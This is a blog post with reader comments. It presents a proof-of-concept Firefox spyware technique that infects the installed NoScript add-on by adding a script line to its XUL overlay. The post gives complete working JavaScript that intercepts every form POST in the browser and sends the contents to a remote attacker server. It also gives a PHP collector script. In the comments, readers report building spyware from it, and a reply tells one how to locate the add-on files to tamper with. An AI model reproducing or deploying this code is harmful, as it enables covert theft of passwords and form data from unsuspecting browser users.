05.19
This post assumes that the reader does have some knowledge on how Firefox extensions work. If not, I advise the reader to check out some documentation @ Mozilla Developer Center. It is also assumed that the user as some knowledge of JavaScript. This isn’t intended to be an how to or a tutorial.
What I consider to be one of the best ways of spying on a target, is to use the target browser. If we take Firefox as an example, things get easier since it’s one of the most popular browsers out there, and allows the user to extend it’s functionality by the means of add-ons. The best thing about it, is that, if the user already as an add-on installed, you don’t have to install your maldon (malware add-on). You can infect one of the installed add-ons, because Firefox isn’t able to verify if an add-on is compromised or not. To do that you only need to edit the file that defines the overlay. Taking the noscriptOverlay.xul as an example.
<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
NoScript - a Firefox extension for whitelist driven safe JavaScript execution
Copyright (C) 2004-2009 Giorgio Maone - g.maone@informaction.com
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay [
<!ENTITY % noscript SYSTEM "chrome://noscript/locale/noscript.dtd" >
%noscript;
<!ENTITY % noscriptFB SYSTEM "chrome://noscript/content/en-US/noscript.dtd" >
%noscriptFB;
]
>
<?xml-stylesheet href="chrome://noscript/skin/browser.css" type="text/css"?>
<overlay id="noscriptOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="noscript.js" />
<script type="application/x-javascript" src="noscriptOverlay.js"/>
<script type="application/x-javascript" src="noscriptBM.js"/>
<script type="application/x-javascript" src="ffspy.js"/>
(....)
The last line of the example, includes a JavaScript file that as the code of the maldon. The ffspy.js file, will intercept all the HTTP requests. If that request is a HTTP form POST (application/x-www-form-urlencoded), the PoC will report it to a remote web server.
/*
* Copyright (c) 2009 Duarte Silva
* All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
try {
function Sniff(extension) {
this.extension = extension;
this.QueryInterface = function(iid) {
if (iid.equals(Components.interfaces.nsIObserver) ||
iid.equals(Components.interfaces.nsISupports))
return this;
else
throw Components.results.NS_NOINTERFACE;
};
this.observe = function(subject, topic, data) {
try {
subject.QueryInterface(Components.interfaces.nsIHttpChannel);
if (topic == "http-on-modify-request")
this.extension.ProcessRequest(subject);
}
catch (exception) {
this.extension.Log(exception);
}
};
}
function Extension() {
this.conserv = null;
this.obsserv = null;
this.sniff = null;
this.debug = false;
// Server were the script should report the data collected
this.report = "http://<server address>/report.php";
this.Log = function(text) {
if ((this.conserv != null) && (this.debug))
this.conserv.logStringMessage(text);
};
this.Initialize = function() {
try {
this.sniff = new Sniff(this);
this.obsserv = Components.classes["@mozilla.org/observer-service;1"].getService(
Components.interfaces.nsIObserverService);
this.conserv = Components.classes["@mozilla.org/consoleservice;1"].getService(
Components.interfaces.nsIConsoleService);
if ((this.obsserv != null) && (this.sniff != null))
this.obsserv.addObserver(this.sniff, "http-on-modify-request", false);
}
catch (exception) {
this.Log(exception);
}
};
this.Uninitialize = function() {
if ((this.obsserv != null) && (this.sniff != null))
this.obsserv.removeObserver(this.sniff, "http-on-modify-request");
};
this.ProcessLine = function(stream) {
var line = "";
for (var i = 0; i < stream.available(); i++) {
var c = stream.read(1);
if (c == 'n')
break;
if (c != 'r')
line += c;
}
return line;
};
this.ProcessRequest = function(http) {
var stream;
var seekable;
var request;
var valid = false;
var params;
try {
this.Log("Intercepted HTTP request");
if (http.requestMethod != "POST")
return;
http.QueryInterface(Components.interfaces.nsIUploadChannel);
if (http.uploadStream != null) {
seekable = http.uploadStream;
seekable.QueryInterface(Components.interfaces.nsISeekableStream);
stream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(
Components.interfaces.nsIScriptableInputStream);
stream.init(http.uploadStream);
for (var line = this.ProcessLine(stream); line; line = this.ProcessLine(stream)) {
var header = line.match(/^([^:]+):s?(.*)/);
if (header == null)
continue;
if ((header[1].toLowerCase() == "content-type") &&
(header[2].toLowerCase() == "application/x-www-form-urlencoded"))
valid = true;
}
if (valid) {
params = stream.read(stream.available());
// Report the intercepted POST
request = new XMLHttpRequest();
request.open("POST", this.report, true);
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-Length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
}
seekable.seek(0, 0);
}
}
catch (exception) {
this.Log(exception);
}
};
}
var extension = new Extension();
if (extension != null) {
window.addEventListener("load", function() {
extension.Initialize();
}, false);
window.addEventListener("unload", function() {
extension.Uninitialize();
}, false);
}
}
catch (mainexcept) {
}
The following is an example of a PHP file that could be used as a report.php.
<?php
if (get_magic_quotes_gpc())
$_POST = array_map('stripslashes', $_POST);
$query = "";
if ($_POST) {
$map = array();
foreach ($_POST as $key => $value)
$map[] = "$key=$value";
$query = join("&", $map);
}
$file = fopen("report.txt", 'w');
fwrite($file, $query);
fwrite($file, "n");
fclose($file);
?>
Attention!! This is a PoC, if you try to use it, take into account that the information sent by the PoC isn’t encrypted, and the report.php suffers from log poisoning.
its pretty easy to produce a ff spyware i have coded a own script out of your method and its very useful.
gr44tz ~remove
Alo, I have noscript installed, but I can’t find the noscript.jar file, how uncompress it or where is the archive?
BTW, I edited the browser.xul file, i added the follow line (then compress again with winzip, rename browser.jar):
Line:
it not works!
I have my server up and the php file and works fine, the ffspy.js file under content folder, mmm what’s wrong?
mark
noscript.jaris under%appdata%\Mozilla\Firefox\Profiles\<random string>.default\extensions\{73a6fe31-595d-460b-a920-fcc0f8843232}\chromePlease do use your search for files feature :)
True. But is also interesting to see that there isn’t nothing to ensure the user the plug-in isn’t changed.